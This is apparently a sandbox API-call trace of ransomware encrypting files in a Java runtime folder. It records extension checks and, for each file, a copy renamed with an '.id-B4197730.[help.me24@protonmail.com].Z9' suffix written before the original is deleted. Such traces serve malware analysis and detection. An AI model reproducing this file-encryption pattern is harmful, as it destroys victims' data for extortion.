	[0191.796] lstrlenW (lpString=".bz2") returned 4
	[0191.796] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0191.796] lstrlenW (lpString=".7z") returned 3
	[0191.796] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0191.796] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71
	[0191.796] lstrlenW (lpString=".dbf") returned 4
	[0191.796] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0191.796] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71
	[0191.796] lstrlenW (lpString=".1cd") returned 4
	[0191.796] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0191.796] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71
	[0191.796] lstrlenW (lpString=".jpg") returned 4
	[0191.797] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0191.797] lstrcmpiW (lpString1=".ttf", lpString2=".Z9") returned -1
	[0191.797] lstrlenW (lpString="LucidaBrightItalic.ttf") returned 22
	[0191.797] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0191.797] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=80856) returned 1
	[0191.797] CloseHandle (hObject=0x344) returned 1
	[0191.797] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf")) returned 0x20
	[0191.797] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0191.797] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0191.797] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.797] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.798] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0191.798] GetLastError () returned 0x0
	[0191.798] ReadFile (in: hFile=0x344, lpBuffer=0x3e7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7d020*, lpNumberOfBytesRead=0x34afecc*=0x13bd8, lpOverlapped=0x0) returned 1
	[0191.799] WriteFile (in: hFile=0x388, lpBuffer=0x3e7d020*, nNumberOfBytesToWrite=0x13be0, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7d020*, lpNumberOfBytesWritten=0x34afc94*=0x13be0, lpOverlapped=0x0) returned 1
	[0191.802] ReadFile (in: hFile=0x344, lpBuffer=0x3e7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7d020*, lpNumberOfBytesRead=0x34afecc*=0x0, lpOverlapped=0x0) returned 1
	[0191.802] WriteFile (in: hFile=0x388, lpBuffer=0x3e7d020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7d020*, lpNumberOfBytesWritten=0x34afc94*=0x100, lpOverlapped=0x0) returned 1
	[0191.802] SetEndOfFile (hFile=0x388) returned 1
	[0191.802] CloseHandle (hObject=0x388) returned 1
	[0191.802] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.802] SetEndOfFile (hFile=0x344) returned 1
	[0191.803] CloseHandle (hObject=0x344) returned 1
	[0191.803] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0191.803] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf")) returned 1
	[0191.804] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67
	[0191.804] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67
	[0191.804] lstrlenW (lpString=".doc") returned 4
	[0191.804] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0191.804] lstrlenW (lpString=".docx") returned 5
	[0191.804] lstrcmpiW (lpString1=".docx", lpString2="c.ttf") returned -1
	[0191.804] lstrlenW (lpString=".pdf") returned 4
	[0191.804] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0191.804] lstrlenW (lpString=".xls") returned 4
	[0191.804] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0191.804] lstrlenW (lpString=".xlsx") returned 5
	[0191.804] lstrcmpiW (lpString1=".xlsx", lpString2="c.ttf") returned -1
	[0191.804] lstrlenW (lpString=".ppt") returned 4
	[0191.804] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0191.805] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67
	[0191.805] lstrlenW (lpString=".zip") returned 4
	[0191.805] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0191.805] lstrlenW (lpString=".rar") returned 4
	[0191.805] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0191.805] lstrlenW (lpString=".bz2") returned 4
	[0191.805] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0191.805] lstrlenW (lpString=".7z") returned 3
	[0191.805] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0191.805] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67
	[0191.805] lstrlenW (lpString=".dbf") returned 4
	[0191.805] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0191.805] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67
	[0191.805] lstrlenW (lpString=".1cd") returned 4
	[0191.805] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0191.805] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67
	[0191.805] lstrlenW (lpString=".jpg") returned 4
	[0191.805] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0191.805] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67
	[0191.805] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67
	[0191.805] lstrlenW (lpString=".doc") returned 4
	[0191.805] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0191.805] lstrlenW (lpString=".docx") returned 5
	[0191.805] lstrcmpiW (lpString1=".docx", lpString2="c.ttf") returned -1
	[0191.805] lstrlenW (lpString=".pdf") returned 4
	[0191.805] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0191.805] lstrlenW (lpString=".xls") returned 4
	[0191.805] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0191.805] lstrlenW (lpString=".xlsx") returned 5
	[0191.805] lstrcmpiW (lpString1=".xlsx", lpString2="c.ttf") returned -1
	[0191.805] lstrlenW (lpString=".ppt") returned 4
	[0191.805] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0191.805] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67
	[0191.805] lstrlenW (lpString=".zip") returned 4
	[0191.805] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0191.806] lstrlenW (lpString=".rar") returned 4
	[0191.806] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0191.806] lstrlenW (lpString=".bz2") returned 4
	[0191.806] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0191.806] lstrlenW (lpString=".7z") returned 3
	[0191.806] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0191.806] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67
	[0191.806] lstrlenW (lpString=".dbf") returned 4
	[0191.806] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0191.806] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67
	[0191.806] lstrlenW (lpString=".1cd") returned 4
	[0191.806] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0191.806] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67
	[0191.806] lstrlenW (lpString=".jpg") returned 4
	[0191.806] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0191.806] lstrcmpiW (lpString1=".ttf", lpString2=".Z9") returned -1
	[0191.806] lstrlenW (lpString="LucidaBrightRegular.ttf") returned 23
	[0191.806] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0191.806] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=344908) returned 1
	[0191.806] CloseHandle (hObject=0x344) returned 1
	[0191.806] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf")) returned 0x20
	[0191.807] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0191.807] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0191.807] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.807] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.807] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0191.808] GetLastError () returned 0x0
	[0191.808] ReadFile (in: hFile=0x344, lpBuffer=0x3e7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7d020*, lpNumberOfBytesRead=0x34afecc*=0x5434c, lpOverlapped=0x0) returned 1
	[0191.812] WriteFile (in: hFile=0x388, lpBuffer=0x3e7d020*, nNumberOfBytesToWrite=0x54350, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7d020*, lpNumberOfBytesWritten=0x34afc94*=0x54350, lpOverlapped=0x0) returned 1
	[0192.217] ReadFile (in: hFile=0x344, lpBuffer=0x3e7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7d020*, lpNumberOfBytesRead=0x34afecc*=0x0, lpOverlapped=0x0) returned 1
	[0192.219] WriteFile (in: hFile=0x388, lpBuffer=0x3e7d020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7d020*, lpNumberOfBytesWritten=0x34afc94*=0x102, lpOverlapped=0x0) returned 1
	[0192.219] SetEndOfFile (hFile=0x388) returned 1
	[0192.219] CloseHandle (hObject=0x388) returned 1
	[0192.219] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0192.220] SetEndOfFile (hFile=0x344) returned 1
	[0192.223] CloseHandle (hObject=0x344) returned 1
	[0192.223] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0193.358] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf")) returned 1
	[0193.359] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68
	[0193.359] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68
	[0193.359] lstrlenW (lpString=".doc") returned 4
	[0193.359] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0193.359] lstrlenW (lpString=".docx") returned 5
	[0193.359] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1
	[0193.359] lstrlenW (lpString=".pdf") returned 4
	[0193.359] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0193.359] lstrlenW (lpString=".xls") returned 4
	[0193.359] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0193.359] lstrlenW (lpString=".xlsx") returned 5
	[0193.359] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1
	[0193.359] lstrlenW (lpString=".ppt") returned 4
	[0193.359] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0193.359] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68
	[0193.359] lstrlenW (lpString=".zip") returned 4
	[0193.359] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0193.359] lstrlenW (lpString=".rar") returned 4
	[0193.359] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0193.359] lstrlenW (lpString=".bz2") returned 4
	[0193.359] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0193.359] lstrlenW (lpString=".7z") returned 3
	[0193.359] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0193.359] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68
	[0193.359] lstrlenW (lpString=".dbf") returned 4
	[0193.359] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0193.359] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68
	[0193.359] lstrlenW (lpString=".1cd") returned 4
	[0193.359] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0193.359] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68
	[0193.359] lstrlenW (lpString=".jpg") returned 4
	[0193.360] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0193.360] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68
	[0193.360] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68
	[0193.360] lstrlenW (lpString=".doc") returned 4
	[0193.360] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0193.360] lstrlenW (lpString=".docx") returned 5
	[0193.360] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1
	[0193.360] lstrlenW (lpString=".pdf") returned 4
	[0193.360] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0193.360] lstrlenW (lpString=".xls") returned 4
	[0193.360] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0193.360] lstrlenW (lpString=".xlsx") returned 5
	[0193.360] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1
	[0193.360] lstrlenW (lpString=".ppt") returned 4
	[0193.360] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0193.360] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68
	[0193.360] lstrlenW (lpString=".zip") returned 4
	[0193.360] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0193.360] lstrlenW (lpString=".rar") returned 4
	[0193.360] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0193.360] lstrlenW (lpString=".bz2") returned 4
	[0193.360] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0193.360] lstrlenW (lpString=".7z") returned 3
	[0193.360] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0193.360] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68
	[0193.360] lstrlenW (lpString=".dbf") returned 4
	[0193.360] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0193.360] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68
	[0193.360] lstrlenW (lpString=".1cd") returned 4
	[0193.360] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0193.360] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68
	[0193.360] lstrlenW (lpString=".jpg") returned 4
	[0193.360] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0193.361] lstrcmpiW (lpString1=".jar", lpString2=".Z9") returned -1
	[0193.361] lstrlenW (lpString="jce.jar") returned 7
	[0193.361] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0193.361] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=116446) returned 1
	[0193.361] CloseHandle (hObject=0x35c) returned 1
	[0193.361] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar")) returned 0x20
	[0193.361] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0193.361] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0193.361] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.362] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.362] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0193.362] GetLastError () returned 0x0
	[0193.362] ReadFile (in: hFile=0x35c, lpBuffer=0x3e7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7d020*, lpNumberOfBytesRead=0x34afecc*=0x1c6de, lpOverlapped=0x0) returned 1
	[0193.365] WriteFile (in: hFile=0x354, lpBuffer=0x3e7d020*, nNumberOfBytesToWrite=0x1c6e0, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7d020*, lpNumberOfBytesWritten=0x34afc94*=0x1c6e0, lpOverlapped=0x0) returned 1
	[0193.368] ReadFile (in: hFile=0x35c, lpBuffer=0x3e7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7d020*, lpNumberOfBytesRead=0x34afecc*=0x0, lpOverlapped=0x0) returned 1
	[0193.368] WriteFile (in: hFile=0x354, lpBuffer=0x3e7d020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7d020*, lpNumberOfBytesWritten=0x34afc94*=0xe2, lpOverlapped=0x0) returned 1
	[0193.368] SetEndOfFile (hFile=0x354) returned 1
	[0193.368] CloseHandle (hObject=0x354) returned 1
	[0193.368] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.368] SetEndOfFile (hFile=0x35c) returned 1
	[0193.370] CloseHandle (hObject=0x35c) returned 1
	[0193.370] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0193.370] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar")) returned 1
	[0193.370] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46
	[0193.370] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46
	[0193.370] lstrlenW (lpString=".doc") returned 4
	[0193.371] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0193.371] lstrlenW (lpString=".docx") returned 5
	[0193.371] lstrcmpiW (lpString1=".docx", lpString2="e.jar") returned -1
	[0193.371] lstrlenW (lpString=".pdf") returned 4
	[0193.371] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0193.371] lstrlenW (lpString=".xls") returned 4
	[0193.371] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0193.371] lstrlenW (lpString=".xlsx") returned 5
	[0193.371] lstrcmpiW (lpString1=".xlsx", lpString2="e.jar") returned -1
	[0193.371] lstrlenW (lpString=".ppt") returned 4
	[0193.371] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0193.371] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46
	[0193.371] lstrlenW (lpString=".zip") returned 4
	[0193.371] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0193.371] lstrlenW (lpString=".rar") returned 4
	[0193.371] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0193.371] lstrlenW (lpString=".bz2") returned 4
	[0193.371] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0193.371] lstrlenW (lpString=".7z") returned 3
	[0193.371] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0193.371] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46
	[0193.371] lstrlenW (lpString=".dbf") returned 4
	[0193.371] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0193.371] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46
	[0193.371] lstrlenW (lpString=".1cd") returned 4
	[0193.371] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0193.371] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46
	[0193.371] lstrlenW (lpString=".jpg") returned 4
	[0193.371] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0193.371] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46
	[0193.371] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46
	[0193.371] lstrlenW (lpString=".doc") returned 4
	[0193.371] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0193.371] lstrlenW (lpString=".docx") returned 5
	[0193.371] lstrcmpiW (lpString1=".docx", lpString2="e.jar") returned -1
	[0193.371] lstrlenW (lpString=".pdf") returned 4
	[0193.372] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0193.372] lstrlenW (lpString=".xls") returned 4
	[0193.372] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0193.372] lstrlenW (lpString=".xlsx") returned 5
	[0193.372] lstrcmpiW (lpString1=".xlsx", lpString2="e.jar") returned -1
	[0193.372] lstrlenW (lpString=".ppt") returned 4
	[0193.372] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0193.372] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46
	[0193.372] lstrlenW (lpString=".zip") returned 4
	[0193.372] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0193.372] lstrlenW (lpString=".rar") returned 4
	[0193.372] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0193.372] lstrlenW (lpString=".bz2") returned 4
	[0193.372] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0193.372] lstrlenW (lpString=".7z") returned 3
